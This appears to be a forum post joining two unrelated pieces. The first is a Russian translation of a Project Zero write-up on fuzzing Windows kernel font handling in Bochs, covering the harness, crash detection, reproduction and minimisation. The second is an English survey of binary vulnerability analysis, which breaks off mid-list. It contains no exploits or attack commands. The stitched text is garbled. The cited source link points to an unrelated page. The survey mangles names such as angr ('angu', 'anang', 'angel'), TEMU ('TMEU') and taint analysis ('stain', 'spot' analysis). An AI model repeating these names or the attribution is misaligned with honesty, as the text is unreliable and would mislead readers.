Благодаря этому дизайну мы теперь могли масштабировать фаззинг шрифтов ядра Windows на любое количество машин, независимо от основной операционной системы (при условии, что она могла запускать Bochs) и от того, была ли доступна поддержка аппаратной виртуализации или нет. Опять же, единственной серьезной проблемой была скорость гостевых систем, но с имеющимися в нашем распоряжении ресурсами было легко сбалансировать накладные расходы эмулятора и выйти далеко за пределы возможностей одного высокопроизводительного ПК. Мы также предприняли ряд шагов, чтобы максимально оптимизировать протестированную установку Windows (как с точки зрения размера, так и с точки зрения фонового выполнения), что подробно описано в одном из следующих разделов.
The client harness
Наряду с мутацией и генерацией шрифтов таким образом, который делает наиболее вероятным сбой тестируемого программного обеспечения, исчерпывающая проверка путей кода обработки ввода, вероятно, является наиболее важной частью фаззинга. Даже если у нас есть самые умные мутаторы, самые эффективные механизмы обнаружения ошибок и миллионы машин для использования, автоматизированное тестирование не принесет многого, если оно никогда не запустит уязвимый код. Кроме того, даже если код действительно выполняется, но затрагивает только 1% входных данных в процессе, наши шансы вызвать сбой значительно (и излишне) ограничены. Вот почему мы полагали, что нужно уделить много внимания реализации клиентского интерфейса, чтобы гарантировать, что все поверхности атаки, связанные со шрифтами, будут проверены на всех данных, включенных в каждый входной шрифт. Этот подход был полной противоположностью некоторым другим попыткам фаззинга в прошлом, когда все тестирование шрифтов состояло из запуска стандартной программы Windows Font Viewer для проверки искаженных шрифтов или использования ее только для отображения символов в пределах печатного диапазона ASCII со стилем по умолчанию и размера точки.
Начнем с того, что каждый файл может содержать несколько шрифтов, число которых возвращается при успешном вызове функции AddFontResource (<https://msdn.microsoft.com/pl- pl/library/windows/desktop/dd183326(v=vs.85).aspx>). Чтобы перечислить их так, чтобы операционная система могла их различить, мы использовали недокументированную функцию GetFontResourceInfoW (экспортируемую gdi32.dll) с параметром QFR_LOGFONT. Функция работает с файлами, сохраненными на диске, и с использованием определенного аргумента возвращает массив структур LOGFONT ( <https://msdn.microsoft.com/pl- pl/library/windows/desktop/dd145037(v=vs.85).aspx>), каждая из которых описывает один встроенный шрифт. Вот почему была необходима первоначальная пробная итерация: извлечь дескрипторы из исходного, немодифицированного файла шрифта (гарантируя согласованность информации).
Пробный прогон также был единственным случаем, когда harness.exxe работал с файловой системой. Для фактической загрузки шрифтов для их тестирования мы вызвали функцию AddFontMemResourceEx (<https://msdn.microsoft.com/en- us/library/windows/desktop/dd183325(v=vs.85).aspx>), которая устанавливает шрифты непосредственно из памяти, а не из файлов, что в данном случае привело к огромному повышению производительности. Структуры LOGFONT были переданы непосредственно как параметр функции CreateFontIndirect (<https://msdn.microsoft.com/pl- pl/library/windows/desktop/dd183500(v=vs.85).aspx>), которая создавала объекты шрифта GDI и возвращала дескрипторы типа HFONT. Затем дескрипторы передавались в SelectObject (<https://msdn.microsoft.com/en- us/library/windows/desktop/dd162957(v=vs.85).aspx>), устанавливая шрифт в качестве текущего в указанном контексте устройства. В нашей программе мы создали пять объектов шрифта для каждого извлеченного LOGFONT: один с их исходным содержимым и четыре со свойствами высоты, ширины, курсива, подчеркивания и зачеркивания, выбранными полуслучайно (с постоянным сидом srand()).
Для каждого такого объекта шрифта мы хотели отобразить все поддерживаемые глифы. Как мы быстро выяснили, функция GetFontUnicodeRanges (<https://msdn.microsoft.com/pl- pl/library/windows/desktop/dd144887(v=vs.85).aspx>) была разработана именно для этой задачи: перечисление диапазонов юникодных символов, которые имеют соответствующие контуры в шрифте. С этой информацией мы вызывали API DrawText (<https://msdn.microsoft.com/en- us/library/windows/desktop/dd162498(v=vs.85).aspx> ) для каждых 10 последующих символов. Кроме того, мы также вызвали функцию GetKerningPairs (<https://msdn.microsoft.com/pl- pl/library/windows/desktop/dd144895(v=vs.85).aspx>) один раз для каждого шрифта и функцию GetGlyphOutline([https://msdn.microsoft.com/en- us/library/windows/desktop/dd144891(v=vs.85).aspx)](https://msdn.microsoft.com/en- us/library/windows/desktop/dd144891(v=vs.85).aspx)) с различными параметрами для каждого глифа. В целом, программа работала очень быстро — все операции выполнялись в процессе, почти не взаимодействуя с системой, кроме как через системные вызовы, работающие с тестируемыми шрифтами и связанными с ними графическими объектами. С другой стороны, мы считаем, что ему удалось использовать большую часть соответствующей поверхности атаки, что в некоторой степени подтверждается тем фактом, что 16 сбоев были вызваны четырьмя различными системными вызовами: NtGdiGetTextExtentExW, NtGdiAddFontResourceW, NtGdiGetCharABCWidthsW и NtGdiGetFontUnicodeRanges.
Оптимизация системы и выявление багчеков
Учитывая, что вся операционная система работала в режиме полной программной эмуляции x86, что влекло за собой огромные накладные расходы, каждый отдельный эмулируемый цикл процессора был чрезвычайно ценен. Следовательно, мы хотели убедиться, что выполняется как можно меньше нерелевантных инструкций, чтобы дать некоторую передышку для нашей системы и, что наиболее важно, для драйверов ядра, выполняющих реальную обработку шрифтов. Кроме того, еще одной целью было уменьшить образ жесткого диска с системой до минимально возможного размера, чтобы его можно было быстро распространить на все машины, на которых работает фаззер.
Мы предприняли ряд действий для оптимизации скорости и размера системы:
- Изменили графическую тему на классическую.
- Отключили все сервисы, которые не были абсолютно необходимы для работы
системы (оставили только несколько критических).
- Установите режим загрузки Минимальная/Безопасная загрузка с VGA, чтобы
загружались только основные драйверы режима ядра.
- Удаллили все компоненты Windows по умолчанию (игры, веб-браузер и т. д.).
- Установили параметр "Настроить для лучшей производительности" в свойствах
системы.
- Изменили оболочку по умолчанию в реестре с explorer.exe на harness, так что
Explorer вообще никогда не запускался.
- Удалили все элементы из автозапуска.
- Отключили индексацию диска.
- Отключили пейджинг.
- Отключили гибернация.
- Удалили большинство ненужных файлов и библиотек из каталога C:\Windows.
Со всеми вышеуказанными изменениями нам удалось уменьшить размер образа диска примерно до 7 гигабайт и запустить его в Bochs менее чем за пять минут. Конечно, при подготовке образов для 2-й и 3-й итерации многие изменения пришлось отменить, чтобы обновить операционную систему, а затем применить обратно.
Интересно, что одно из наших оптимизационных изменений повлияло на воспроизводимость ошибки № 684( <https://bugs.chromium.org/p/project- zero/issues/detail?id=684>). Хотя об ошибке в Microsoft сообщили в тот же день, что и о других результатах третьей итерации, через две недели поставщик сообщил нам, что не может получить копию. После некоторого обмена информацией мы более внимательно изучили возможные различия в конфигурации между установкой по умолчанию и нашей тестовой средой. Затем мы быстро поняли, что в рамках настройки параметра "Настроить для лучшей производительности" в "Свойствах системы" параметр "Сглаживание краев экранных шрифтов" был снят, хотя по умолчанию он включен. Оказалось, что действительно уязвимость проявлялась только при отключенной опции. Когда Microsoft подтвердила, что теперь может воспроизвести проблему, мы обновили дату сообщения в трекере, и поставщик исправил ошибку в новом 90-дневном окне.
Когда дело доходит до обнаружения системных ошибок, мы выбрали самое простое решение, предписывая Windows автоматически перезапускаться при возникновении критического системного сбоя:
На стороне инструментов Bochs перезагрузка системы может быть тривиально обнаружена с помощью следующего обратного вызова:
void bx_instr_reset(unsigned cpu, unsigned type);
Мы могли полагаться на перезагрузку системы как на индикатор сбоя, потому что это была единственная причина, по которой Windows могла завершить работу: система была настроена на неограниченную работу, и почти никакие другие службы или процессы не работали в фоновом режиме (т. Инструмент обновления). Одним из основных недостатков этого решения было то, что в момент перезагрузки системы никакая контекстная информация (регистры, флаги, трассировка стека) больше не была доступна, не говоря уже о доступе к дампу сбоя системы или любой другой информации, связанной с сбоем. Единственным следом багчека был сам файл шрифта, но благодаря таким механизмам, как специальные пулы и наличие точной копии среды фаззинга, подготовленной для воспроизведения, этого оказалось в основном достаточно. Мы смогли воспроизвести почти все сбои, происходящие в Bochs, исключительно на основе сохраненных тестовых случаев.
Конечно, в этой области есть много возможностей для совершенствования. Лучший инструментарий мог бы попытаться отфильтровать исключения ядра и получить оттуда информацию о контексте ЦП, подключиться к доступу к диску, чтобы перехватить файл аварийного дампа, сохраняемый в файловой системе, или, по крайней мере, сделать снимок экрана "Синего экрана смерти", чтобы получить общее представление о сбое (тип проверки ошибок, четыре аргумента). Однако, поскольку упрощенная реализация работала у нас так надежно, а ее настройка заняла всего несколько минут, мы не чувствовали необходимости ее усложнять.
Воспроизведение сбоев
Воспроизведение сбоя вообще было одним из самых простых этапов процесса. Мы использовали виртуальную машину VirtualBox с точно такой же средой, что и фаззер, и модифицировали систему загрузки шрифтов, чтобы загружать шрифт из файла, а не запрашивать его с помощью инструкции LFENCE. Затем нам также пришлось написать простую программу-репродюсер, которая следовала очень простой схеме:
1. Загружала имя последнего обработанного образца из файла progress.txt (если
он существует).
2.Проверяла, не сохранены ли аварийные дампы в C:\Windows\Minidumps.
- Если они есть, копировала его в общий каталог VirtualBox под именем
последнего файла шрифта.
- Запускала WinDbg, используя его для создания текстового отчета о аварийном
дампе (!analyze -v) и копировала его в тот же каталог.
- Удаляла аварийный дамп локально.
3.Список файлов во входном каталоге, пропускала их до тех пор, пока не будет
найден последний обработанный файл. Выбералае следующий и сохраните его имя в
progress.txt.
4. Запускала модифицированную обвязку несколько раз (для верности, в общем-то
должно хватить).
- В случае сбоя система автоматически сохраняла аварийный дамп и
перезагружается.
5. Если мы все еще работаем в этот момент, это означает, что сбой
невоспроизводим.
Чтобы убедиться, что при обработке следующего образца не сохраняется поврежденное состояние системы, перезапустите систему «вручную» (через ExitWindowsEx API (<https://msdn.microsoft.com/pl- pl/library/windows/desktop/aa376868(v=vs.85).aspx>)).
Благодаря вышеописанному алгоритму, как только воспроизведение было завершено, мы удобно получили список каталогов, соответствующих аварийным образцам, и содержащий как двоичные аварийные дампы, так и их текстовые представления, которые мы могли легко просмотреть или обработать другими способами. Выполняя полную перезагрузку системы, мы также могли быть на 100% уверены, что каждый сбой системы действительно был вызван одним конкретным шрифтом, поскольку никакие ранее загруженные шрифты не могли повлиять на результат. Обратной стороной было, конечно, увеличение времени, которое занимает весь процесс, но с чрезвычайно оптимизированной системой, которая загружалась менее чем за 50 секунд и обычно менее 10 секунд выполнялась для тестирования шрифта, пропускная способность составляла где-то около 1500 образцов в день, что было приемлемо для обработки вывода первого (самого аварийного) запуска всего за несколько дней.
Единственными изменениями, примененными к системе воспроизведения по сравнению с системой фаззинга, были добавление программы воспроизведения в автозагрузку, сокращение времени нахождения в загрузочном экране "Восстановление после ошибки Windows" (появляющемся после сбоя системы) до 1 секунды, настройка общего доступа. Папки и установите WinDbg, чтобы иметь возможность генерировать текстовые фрагменты аварийного дампа в самой гостевой системе. Мы также подготовили соответствующую 64-разрядную воспроизводимую виртуальную машину Windows 7 с большим объемом оперативной памяти, чтобы потенциально предоставить Special Pools больше памяти для работы, но это оказалось не очень полезным, поскольку сбои обычно либо воспроизводились в обеих сборках, либо не ни на одном из них.
Минимизация образцов
Существует два типа минимизации выборки, которые могут быть выполнены в контексте шрифтов SFNT: табличная гранулярность и байтовая гранулярность (в рамках каждой таблицы). Конечно, оба они имеют смысл только для результатов мутационного фаззинга. Сообщая о сбоях в Microsoft, мы выполняли только гранулярную минимизацию таблицы первого уровня, которая служила двум целям: удовлетворить наше любопытство и помочь устранить дубликаты сбоев. Особенно в первой итерации, когда нам приходилось иметь дело с десятками различных трассировок стека, было очень полезно знать, какая проверка ошибок была вызвана мутациями в какой таблице (таблицах).
Инструмент минимизации был тривиален по своей конструкции: он использовал нашу существующую библиотеку C++ SFNT для загрузки как исходных, так и измененных образцов и отображал список одинаковых и различающихся таблиц. Затем пользователь может восстановить выбранную таблицу (вставить ее исходное содержимое вместо искаженного) и проверить, вызовет ли новый шрифт сбой. Если да, то мутации в таблице неактуальны и их можно пропустить; в противном случае по крайней мере некоторые из них были необходимы для запуска ошибки и должны были быть сохранены. После нескольких повторений у нас остались 1-3 таблицы, которые были необходимы для краха.
Гранулярная минимизация байтов была выполнена только для нескольких конкретных образцов, чтобы выяснить, какие поля в структурах шрифта были виновниками сбоев. Поскольку ни один из алгоритмов мутации не изменил размер ни одной из таблиц (только изменил данные "статическим" способом), можно было бы использовать очень простой алгоритм: на каждой итерации половина отличающихся в настоящее время байтов восстанавливалась бы в файл мутации. Если бы ошибка все еще происходила, эти байты были несущественными и о них можно было забыть. Если сбоя больше не было, некоторые байты должны были быть важными, поэтому изменения итерации были отменены, и для тестирования было выбрано другое подмножество байтов. Минимизация считалась завершенной, когда набор различающихся байтов больше не мог быть уменьшен после большого количества попыток.
Отдельный алгоритм минимизации потенциально может быть разработан для выходных данных генератора программ TTF; однако, поскольку такой уникальный сбой был только один, и мы не собирались проводить подробный анализ его основных причин, мы не стали его разрабатывать.
Будущая работа
Хотя проект оказался более плодотворным, чем мы изначально ожидали, во многом благодаря индивидуальному подходу к формату файла и протестированному программному обеспечению, все же есть ряд направлений для дальнейшего совершенствования.
Мы собрали их в списке ниже:
1. Фаззинг на основе покрытия.
Весь процесс фаззинга выполнялся без обратной связи о покрытии кода, что ограничивало его способность обнаруживать новые пути кода и развивать корпус в сторону более полного. Как недавно показали AFL, LibFuzzer и другие фаззеры, ориентированные на покрытие, эта единственная функция может улучшить результаты фаззинга на порядок, в зависимости от целевого программного обеспечения, характера входных данных и качества исходного корпуса.
Однако в нашем конкретном сценарии добавление записи покрытия и/или анализа к инструментарию Bochs было неосуществимым вариантом, поскольку это повлекло бы за собой дополнительные значительные накладные расходы для системы, которая и без того работала очень медленно. Есть и другие проблемы, требующие решения, например, как отличить инструкции, обрабатывающие входные данные, от другого кода ядра и т. д.
Идея связана с более общей концепцией выполнения фаззинга ядра Windows с учетом покрытия (в Linux он уже есть, см. syzkaller (https://github.com/google/syzkaller)), независимо от того, являются ли это шрифтами, системными вызовами или какой-либо другой поверхностью атаки. Это, однако, предмет для отдельного исследования, которое, вероятно, лучше всего реализуется с помощью реальной виртуализации и VMI (Virtual Machine Introspection) для повышения производительности.
2.Улучшение мутации.
Хотя стратегия мутации, используемая в проекте, была несколько умнее, чем в среднем, наблюдаемая в прошлом, все же есть много способов сделать ее лучше. Это включает в себя добавление более разнообразных мутаторов, добавление возможности связывать их вместе, объединение таблиц нескольких образцов в один шрифт или определение коэффициентов мутаций для каждого шрифта (вместо усреднения результатов для всего корпуса).
Другие идеи включают в себя проверку предположения, что мы вручную нашли все ошибки в обработке CharString и написание генератора потока инструкций для шрифтов OTF, поиск способа фазз-тестирования таблиц SFNT, которые мы ранее считали слишком хрупкими для мутации (cmap, head, hhea, name, loca и т.д.), или изменение шрифтов на основе представления, отличного от скомпилированной двоичной формы (например, файлы XML .ttx, сгенерированные FontTools).
3. Фаззинг на других версиях Windows.
Проект запускался на Windows 7 от начала и до конца с предположением, что он может содержать наибольшее количество ошибок (например, тех, которые не были перенесены из Windows 8.1 и 10). Однако возможно, что более новые платформы могут включать некоторые дополнительные функции, и их фаззинг может выявить уязвимости, которых нет в Windows 7.
4. Улучшено обнаружение сбоев Bochs.
Как упоминалось в предыдущем разделе, обнаружение сбоев изначально было реализовано на основе очень простого индикатора в виде перезагрузки машины. Это фактически ограничило количество информации о контексте сбоя, которую мы могли собрать, до нуля, что сделало невозможным исследование сбоев, которые не воспроизводились с сохраненным образцом. Одним из возможных решений может быть установка обратного вызова для события BX_INSTR_EXCEPTION, чтобы перехватывать исключения ЦП по мере их возникновения и извлекать из них контекстную информацию. Этот параметр также имеет дополнительное преимущество, заключающееся в том, что его можно использовать для сигнализации об исключениях режима ядра, которые обычно маскируются универсальными обработчиками исключений, но все же обнаруживают настоящие ошибки.
Другие варианты, такие как доступ к диску для перехвата аварийных дампов, сохраняемых в файловой системе, или создание скриншотов BSoD, отображаемых ядром, также являются приемлемыми вариантами, но гораздо менее элегантными и все же довольно ограниченными с точки зрения объема полученной информации.
Резюме
Как метод тестирования программного обеспечения, фаззинг имеет очень низкую планку входа и может использоваться для достижения удовлетворительных результатов с небольшим опытом или вложенными усилиями. Тем не менее, это все еще не панацея в поиске уязвимостей, и есть много этапов, которые могут потребовать тщательной настройки или индивидуальной адаптации для конкретной цели или формата файла, особенно для нетривиальных целей, таких как ядра операционных систем с закрытым исходным кодом. В этом посте мы продемонстрировали, как мы пытались максимально улучшить процесс фаззинга шрифтов ядра Windows в пределах доступных временных ресурсов. В частности, мы вложили много сил в мутацию, генерацию и проверку входных данных достаточно эффективным способом, а также в масштабирование процесса фаззинга на тысячи машин за счет разработки специального инструментария Bochs и агрессивной оптимизации операционной системы. Результат работы в виде 16 уязвимостей высокой степени опасности показал, что методы были эффективными и улучшенными по сравнению с предыдущей работой.
Учитывая, насколько велик потенциал фаззинга и насколько широка тема, мы с нетерпением ждем дальнейшего развития и использования фаззинга.
Переведено специально для XSS.IS
Автор перевода: yashechka
Источник: [https://googleprojectzero.blogspot.com/2016/07/a-year-of-windows-
kernel-font-fuzzing-2.html](https://pentestlab.blog/2021/11/15/golden-
certificate/)
The root cause of software vulnerabilities is that modern computers do not strictly distinguish program code and data in memory when implementing Turing machine models, and data in memory can be executed as code by programs. It is for this reason that an attacker can construct a malicious program through some means and successfully implant the target program to attack, thereby gaining control of the target program. In the face of endless attack methods, academia and industry have carried out a lot of related research in the field of software vulnerability analysis, and proposed many methods and tools to solve security problems.
Driven by the rapid development of programming language design and program analysis, source-oriented software vulnerability mining technology has made significant progress. However, there are also some shortcomings in source- oriented software vulnerability mining techniques. First, most software does not provide provider source code; Secondly, high-level languages and core operating systems will eventually be compiled into binary code, and high-level languages may also introduce vulnerabilities in the process of compiling and linking, making the vulnerabilities introduced from them difficult to detect. The vulnerability mining research for binary programs can be directly executed because it is language-independent and does not require program source code, and does not need to be compiled and linked, so it is more practical to directly study the vulnerability of binary code.
However, vulnerability analysis for binary programs also faces some challenges. The biggest problem is that the underlying instructions are more complex, and the program lacks type information containing semantics and grammar, making it difficult to understand, so researchers must have a lot of underlying computer knowledge. Based on this issue, the industry focuses on translating binary programs into intermediate languages, obtaining the semantic and type information needed through intermediate languages, and then using this information for vulnerability analysis research work. Intermediate languages have the advantages of instruction simplicity and semantic richness, thus compensating for the direct analysis of the underlying instructions.
There are a variety of existing binary vulnerability analysis techniques, and there are many ways to classify them. From the automation point of view of operation, it can be divided into manual or automatic/semi-automated analysis; From the perspective of software operation, it can be divided into dynamic analysis, static analysis and dynamic and static combination analysis; From the perspective of the openness of software code, it can be divided into black box test, white box test and gray box test; From the perspective of the morphology of the research object, it can be divided into vulnerability analysis techniques based on intermediate languages and based on the underlying instruction set. Because it is divided from different perspectives, no matter which standard is classified according to, there are overlaps and overlaps between various classifications, and its specific implementation technology can also belong to different categories under different classification standards at the same time. Typical specific techniques include fuzz testing, symbol execution, and spot analysis, all three of which cover almost all of these classification criteria. Both spot analysis and symbolic execution are dynamic and static analysis from the perspective of software operation, and can also be white-box testing from the perspective of code openness. Fuzz testing is both dynamic analysis and black-box testing. In addition, the above three technologies can be vulnerability analysis techniques based on intermediate languages and underlying instructions.
Therefore, although there are many current binary vulnerability analysis techniques, some typical specific technologies can almost represent the entire binary vulnerability analysis technology. Taint analysis starts from the root of software vulnerability exploitation, marks the untrusted input as taint data, tracks the use of taint data in the process of program execution, and determines that there is a vulnerability in the program if the key operation in the program illegally uses the taint data. Because it captures the essence of the exploit, the method is effective in principle. At the same time, with the improvement of hardware computing power, symbolic execution technology has been more and more widely used due to the high path coverage. In contrast to dynamic stain analysis, which focuses on the flow of data, symbolic execution is the analysis of the flow of control. Therefore, these two technologies are well complementary in their application to vulnerability analysis. In addition, as a representative technology of software vulnerability analysis, fuzz testing occupies an important position in the field of software vulnerability analysis because it has the advantage of not relying on the source code of the program and low system consumption.
Since most of the binary vulnerability analysis tools at this stage are not integrated on a platform, the results obtained from previous research are often difficult to collaborate and reuse in the later stage, and subsequent researchers cannot expand on this basis, but can only be re-implemented, resulting in a lot of waste of resources. In order to solve this problem, a better idea is to combine existing analysis techniques and integrate them into a platform to form a comprehensive binary vulnerability analysis framework. Therefore, in future research work, a more powerful binary analysis framework will be constructed according to the existing analytical framework.
1 Binary Program Vulnerability Analysis Framework
For vulnerabilities in software, researchers have proposed many analysis techniques and have been widely used in the field of vulnerability analysis. However, existing research work mostly uses some kind of analysis tool to perform vulnerability analysis of a specific type of program, or optimizes these analysis techniques, so it faces the following problems. First of all, the research work of many binary analysis techniques is difficult to reuse, and subsequent researchers cannot expand and supplement on the basis of previous research, and can only be re-realized according to the methods proposed by predecessors, which means that a lot of research work is wasted; Second, the use of a single analytical technique does not achieve complementary advantages. Because each technology has its advantages and disadvantages, some of the key problems faced by some analytical technologies have not been solved so far, restricting the development of these analytical technologies, so by combining two or more analytical techniques to complement each other's advantages will be the future research direction.
Based on the problems existing in the current research work, a better solution is to build a unified binary vulnerability analysis framework and integrate some major analysis techniques, so that subsequent researchers can optimize or integrate the next generation of binary analysis technologies on the basis of the analysis framework to achieve technical reuse.
A number of binary vulnerability analysis frameworks already exist.
BitBlaze is a unified binary analytics platform that combines dynamic and static analytics with scalability. BitBlaze mainly contains 3 components, namely Vine, TEMU and Ruder. Vine is a static analysis component that translates the underlying instructions into a simple and standardized intermediate language, and provides practical tools for some common static analysis on the basis of the intermediate language, such as drawing program dependency diagrams, data flow diagrams, and program control flow diagrams. TEMU is a dynamic analysis component that provides dynamic analysis of the entire system and implements semantic extraction and user-defined dynamic spot analysis; Rudder is a combination of verbostatic analysis of concrete and symbolic execution components, which use the functions provided by Vine and TMEU to achieve a mix of concrete execution and symbolic execution at the binary level, and provides path selection and constraint solving functions. The main processing flow of the components in BitBlaze is shown in Figure 1.
View attachment 35300
Figure 1 BitBlaze process flowchart
SHOSHITAISHVILI et al. proposed a multi-architecture binary analysis framework angu, which integrates many binary analysis techniques and has the ability to dynamically perform symbolics and static analysis of binary programs. angr is a binary automated analysis tool developed by the shellfish team in the CTF competition, which was originally used to find backdoors in the program and can now be applied to the field of vulnerability analysis. Since angur integrates some existing analytical techniques and implements different functions using different modules, it is easy to compare existing analytical techniques on the platform and take advantage of the advantages of different analytical techniques. Its brief processing process is: first, loading the binary program into the anang analysis platform; Then, convert the binary code into an intermediate language; Finally, further analysis of the program, which includes static analysis or exploration of the symbolic execution of the program. The angr process flowchart is shown in Figure 2.
View attachment 35301
Figure 2 Angr processing flowchart
angr mainly includes the following modules: the intermediate representation module (IR), which translates the binary code into an intermediate language, where the intermediate language VEX can analyze binary programs on different architectures; Binary Program Loading Module (CLE), which loads a binary program into the analysis platform; Program state represents the module (SimuVEX), which represents the state of the program, and SimState in SimuVEX implements a set of state plug-ins, such as registers, abstract memory and symbol memory, etc., the state of these plug-ins can be specified by the user; The Data Model Module (Claripy), which provides an abstract representation of the values stored in the registers or memory of simState; The Complete Program Analysis Module, which combines all the modules allows the anand to perform complex and complete program analysis.
angr is an open source tool with good compatibility, cross-platform, cross- architecture support, and provides a powerful symbolic execution engine with strong analysis capabilities. However, since the original intention of the angel was to find a backdoor in the program, if it is applied to the field of vulnerability analysis, it is not yet possible to perform a complete vulnerability analysis. First of all, in the symbolic execution section, angr only provides the path information of the program, and manual assistance is required for subsequent analysis; Second, angr is currently only more powerful for symbolic execution and has not integrated other more typical analysis techniques. Therefore, further research is required to automate the subsequent analytical process and to integrate other analytical techniques as a supplement.
In the future research work, a comprehensive binary vulnerability analysis platform will be built in combination with the current hot technologies, so as to form a large-scale binary vulnerability analysis framework. The specific construction ideas are as follows: 1. Add modeling of binary programs and formal descriptions on this basis to establish a security policy library. 2. Optimize the intermediate language part, and further supplement and improve the information loss and low conversion efficiency faced by the binary program in the process of converting to the intermediate language, hoping to obtain a more accurate information flow (including data flow and control flow). 3.Integrate symbol execution and further optimize the technology to realize the automation of subsequent analysis; At the same time, the spot analysis technology is integrated to assist the symbol execution to reduce the number of paths, thereby slowing down the problem of path explosion. In addition, taint analysis can also be combined with the security policy database established above for vulnerability analysis. 4. Integrate fuzz testing technology, and solve the constraints of each path according to the constraint solver, and then generate test cases in a targeted manner, and then combine the fuzz test to determine the vulnerability. The overall flow of the binary vulnerability analysis framework is shown in Figure 3.
View attachment 35302
Figure 3 Overall flowchart of the binary vulnerability analysis framework
There are many types of binary vulnerability analysis technologies, and the application scenarios are different, so three mainstream and representative analysis technologies are selected here, namely taint analysis, symbol execution and fuzz testing technology, which are combined to integrate into a comprehensive binary vulnerability analysis platform and then perform vulnerability analysis. The research status of these three analytical techniques will be introduced separately in this article.
2 Background and significance of intermediate language research
Compared with source-oriented vulnerability mining technology, binary code- oriented vulnerability mining technology is more valuable for research, mainly because it has the characteristics of not relying on source code and has a wider range of practicality. However, due to the unique complexity of vulnerability analysis techniques for binary programs, it is difficult to analyze binary programs directly. There are mainly the following two reasons: 1.The number of underlying instruction sets is large, such as the instruction set of x86 has hundreds, and it is more complex; 2.Some simple problems, such as separating the code from the data, are undecidable, that is, the binary code lacks the corresponding semantic and type information.
Based on the above difficulties, industry researchers prefer to represent binary programs in an easier way, so they propose to use intermediate languages to replace binary codes, that is, to convert binary codes into intermediate codes with semantic information for subsequent analysis by researchers. This requires that the intermediate language used must not only be lower than the high-level language so that the conversion from binary code to an intermediate language is not complicated, but also needs to be higher than the binary program to be able to provide a large amount of semantic information. The intermediate language itself is a further specification of the underlying language, which is mainly for later vulnerability analysis. The conversion of intermediate language is the most important step in binary program vulnerability analysis, which needs to be analyzed through the semantic information that the intermediate language has in order to be able to obtain the CFG diagram of the program, so as to obtain the information flow of the program, including the control flow and data flow. Therefore, getting an intermediate language translated from binary code is the basis for subsequent work.
There are many methods and tools for how to convert intermediate languages. Chen Kaiming et al. proposed the method of using symbol execution technology for transformation, which first needs to define the environment and semantics of symbol execution, and then execute assembly language in the symbolic environment and convert it into the corresponding intermediate language. Because it needs to emulate program execution like symbolic execution, it adds overhead. Jiang Lingyan [4] et al. proposed an intermediate representation method called VINST, which follows the basic principle of keeping the part that executes frequently and keeping the other parts correct, so it only contains more than twenty instructions that are most commonly used in various instruction sets, and the remaining relatively few simple instructions are simulated with a variety of intermediate instructions corresponding to their functions, and complex instructions are simulated with CALL intermediate instructions, so that the functions of the high-level language are simulated, this method is relatively simple in form, but the efficiency is very low. CIFUENTES[8] et al. developed the binary translation system UQBT, which describes the instruction information of the system through the semantic canonical language SSL.
At the same time, the conversion from assembly language to intermediate language is done by generating a dictionary of instructions. Since the generation of the middle language depends entirely on the description of the instruction system by the SSL language, if the SSL is not accurately described, there will be semantic missing or inaccurate problems in the intermediate languages converted according to it. Subsequent decompiler Boomerang was developed on the basis of UQBT and is therefore similar to the principle of UQBT. Ma Jinxin et al. introduced an intermediate language with a static single assignment form for type reconstruction, in which each variable is defined only once, thereby reducing the large and complex x86 assembly instruction to a simple equation form, and on this basis, a method of constructing a register abstract syntax tree is proposed to solve the base address pointer alias problem. However, due to the fact that many cases are ignored during the translation process, there is a problem of information loss in the intermediate languages translated by this method. The Valgrind platform also employs an intermediate representation, the VEX intermediate language, which is architecturally independent. VEX uses the RISC instruction set, which has read and write operations for memory and registers on its platform. LOAD and STORE in memory variables are read and write operations, respectively; The GET operation and the PUT operation in the register variable, which are responsible for reading the value in the register variable into the temporary variable or writing the value in the temporary variable to the register variable, respectively; the IMark statement is a token for the address of a specific instruction.
However, the current vulnerability analysis technology based on intermediate languages also faces some problems. First, some information is lost during translation into intermediate languages, such as the failure to save EFLAGS registers in the VEX used by Valgrind; Second, intermediate languages translate a single instruction into several instructions, which can reduce efficiency, such as VEX used by Valgrind and VINEIL used by BitBlaze.
Since intermediate languages are the premise of subsequent work, how to improve the translation efficiency and accuracy of binary translation programs is an urgent problem that each translation program needs to solve urgently. For the intermediate language part, future research work mainly includes the following two aspects: First, for the intermediate code will bring a lot of redundant information problems, in the design process needs to be concise as the primary principle, minimize repetitive information, each instruction to achieve a single function as the main goal; Secondly, under the premise of reducing redundant information, it is necessary to ensure that the translated intermediate language has complete semantic information as much as possible. Therefore, further optimization is needed for the current problem of information loss in intermediate languages. By comparing the intermediate language with the assembly language obtained by disassembling the corresponding binary program, it is investigated whether the intermediate language lacks some important semantic information, and the semantic information missing from the intermediate language needs to be supplemented and improved in order to provide the most complete data flow and control flow as possible for subsequent vulnerability analysis.
3 Dynamic stain analysis techniques
3.1 Dynamic stain analysis technology principle and classification
The stain analysis technique is a technique for tracking and analyzing the flow of spot information through a program, first proposed by DENNING in 1976. The main principle of taint analysis techniques is to mark data from untrusted sources such as networks and files as "contaminated", and a series of arithmetic and logical operations acting on these data and newly generated data also inherit the "contaminated" attributes of the source data. By analyzing these properties, certain characteristics of the program are derived. Stain analysis technology can generally be divided into two types: dynamic spot analysis and static spot analysis from the perspective of whether to perform the program.
The advantage of static stain analysis technology is that it can quickly locate all the situations that may occur in the program, but because the static analysis cannot obtain some information when the program is running, there is a problem of low accuracy, so it is often necessary to manually review and confirm the analysis results . Typically, binary static stain analysis techniques refer to techniques that use disassembly tools, such as IDA, to disassemble binary code based on static stain analysis.
Dynamic stain analysis technology is another stain analysis technique that has become popular in recent years, also known as dynamic information flow analysis. The technique is to mark and track specific data in the program while it is running, and determine whether the program has vulnerabilities based on whether this specific data will affect certain pre-agreed key operations. In the security realm of applications, dynamic taint analysis has been successfully used to prevent several types of attacks, such as buffer overflows, format string attacks, SQL command injection, and cross-site scripting attacks (XSS). Recently, researchers have begun to investigate the application of stain analysis-based methods to areas beyond security, such as understanding programs, software testing, and debugging.
Dynamic stain analysis technology can be divided into fine-grained dynamic stain analysis technology and coarse-grained dynamic stain analysis technology according to the analysis particle size. Coarse-grained spot analysis can generally be used to detect abnormal behavior, the advantage is that the analysis speed is faster, the storage space is small, but there is often a problem of low analysis accuracy; Fine-grained stain analysis is mainly used to detect the vulnerability attack point of the program, and its advantage is that the analysis accuracy is high, and it can solve problems such as data flow backtracking, but there will be problems such as large test cost and excessive space occupation. Shi Dawei et al. combined the two and complemented each other's advantages, and proposed a dynamic stain analysis method combining coarse and fine particle size.
3.2 Basic process of dynamic spot analysis
The main process of dynamic stain analysis consists of 3 stages, as shown in Figure 4.
View attachment 35303
Figure 4 The basic process of dynamic spot analysis
1. Identify the source of the stain
